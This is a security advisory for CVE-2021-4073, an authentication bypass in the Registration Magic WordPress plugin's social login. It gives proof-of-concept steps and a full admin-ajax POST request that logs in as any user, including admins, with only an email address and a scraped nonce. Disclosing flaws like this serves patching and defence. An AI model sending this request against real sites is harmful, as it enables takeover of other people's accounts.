Registration Magic < 5.0.1.8 – Authentication Bypass | CVE 2021-4073

Description

The plugin has a bug in the social login code, making it possible for unauthenticated users to login as any account, including admins, knowing only their email address or username and using a login form created with the plugin.

Note: The issue was reported to us in August 2021 and we notify the vendor about it, however Wordfence found it as well in September and disclosed it before us.

Proof of Concept

1. Visit the login page of the plugin (ie the one with [RM_Login]) over HTTPS (note: the login form must have a social integration, such as Facebook, see RegistrationMagic > All Forms > Login Form > Dashboard > Integrate > Facebook)
2. Find the security nonce for the social login, ie the last argument of handle_data() JS code.
3. Add nonce to the below request (in the security parameter) and you will be logged in as the user.


POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 75
Connection: close

action=rm_login_social_user&email=admin%40localhost.org&security=7c574ba56e